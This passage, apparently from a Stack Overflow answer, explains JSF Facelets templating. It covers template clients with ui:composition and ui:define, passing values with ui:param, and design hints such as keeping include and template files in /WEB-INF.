<div id="menu">Menu</div>
<div id="content"><ui:insert name="content">Default content</ui:insert></div>
<div id="footer">Footer</div>
</h:body>
</html>
</code></pre>
<p>Template client page <code>/page.xhtml</code> (note the <code>template</code> attribute; also here, this is the file in its entirety):</p>
<pre><code><ui:composition template="/WEB-INF/template.xhtml"
xmlns="http://www.w3.org/1999/xhtml"
xmlns:f="http://xmlns.jcp.org/jsf/core"
xmlns:h="http://xmlns.jcp.org/jsf/html"
xmlns:ui="http://xmlns.jcp.org/jsf/facelets">
<ui:define name="title">
New page title here
</ui:define>
<ui:define name="content">
<h1>New content here</h1>
<p>Blah blah</p>
</ui:define>
</ui:composition>
</code></pre>
<p>This needs to be opened by <code>/page.xhtml</code>. If there is no <code><ui:define></code>, then the default content inside <code><ui:insert></code> will be displayed instead, if any.</p>
<hr />
<h2><code><ui:param></code></h2>
<p>You can pass parameters to <code><ui:include></code> or <code><ui:composition template></code> by <a href="https://docs.oracle.com/javaee/7/javaserver-faces-2-2/vdldocs-facelets/ui/param.html" rel="noreferrer"><code><ui:param></code></a>.</p>
<pre><code><ui:include ...>
<ui:param name="foo" value="#{bean.foo}" />
</ui:include>
</code></pre>
<pre><code><ui:composition template="...">
<ui:param name="foo" value="#{bean.foo}" />
...
</ui:composition >
</code></pre>
<p>Inside the include/template file, it'll be available as <code>#{foo}</code>. In case you need to pass "many" parameters to <code><ui:include></code>, then you'd better consider registering the include file as a tagfile, so that you can ultimately use it like so <code><my:tagname foo="#{bean.foo}"></code>. See also <a href="https://stackoverflow.com/questions/6822000">When to use <ui:include>, tag files, composite components and/or custom components?</a></p>
<p>You can even pass whole beans, methods and parameters via <code><ui:param></code>. See also <a href="https://stackoverflow.com/questions/8004233/jsf-2-how-to-pass-an-action-including-an-argument-to-be-invoked-to-a-facelets-s">JSF 2: how to pass an action including an argument to be invoked to a Facelets sub view (using ui:include and ui:param)?</a></p>
<hr />
<h2>Design hints</h2>
<p>The files which aren't supposed to be publicly accessible by just entering/guessing its URL, need to be placed in <code>/WEB-INF</code> folder, like as the include file and the template file in above example. See also <a href="https://stackoverflow.com/questions/9031811">Which XHTML files do I need to put in /WEB-INF and which not?</a></p>
<p>There doesn't need to be any markup (HTML code) outside <code><ui:composition></code> and <code><ui:define></code>. You can put any, but they will be <strong>ignored</strong> by Facelets. Putting markup in there is only useful for web designers. See also <a href="https://stackoverflow.com/questions/10504190">Is there a way to run a JSF page without building the whole project?</a></p>
<p>The HTML5 doctype is the recommended doctype these days, "in spite of" that it's a XHTML file. You should see XHTML as a language which allows you to produce HTML output using a XML based tool. See also <a href="https://stackoverflow.com/questions/2935759/is-it-possible-to-use-jsffacelets-with-html-4-5">Is it possible to use JSF+Facelets with HTML 4/5?</a> and <a href="https://stackoverflow.com/questions/19189372/javaserver-faces-2-2-and-html5-support-why-is-xhtml-still-being-used">JavaServer Faces 2.2 and HTML5 support, why is XHTML still being used</a>.</p>
<p>CSS/JS/image files can be included as dynamically relocatable/localized/versioned resources. See also <a href="https://stackoverflow.com/questions/8367421/how-to-reference-css-js-image-resource-in-facelets-template">How to reference CSS / JS / image resource in Facelets template?</a></p>
<p>You can put Facelets files in a reusable JAR file. See also <a href="https://stackoverflow.com/questions/8320486">Structure for multiple JSF projects with shared code</a>.</p>
<p>For real world examples of advanced Facelets templating, check the <code>src/main/webapp</code> folder of <a href="https://github.com/javaeekickoff/java-ee-kickoff-app" rel="noreferrer">Java EE Kickoff App source code</a> and <a href="https://github.com/omnifaces/showcase" rel="noreferrer">OmniFaces showcase site source code</a>.</p> |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.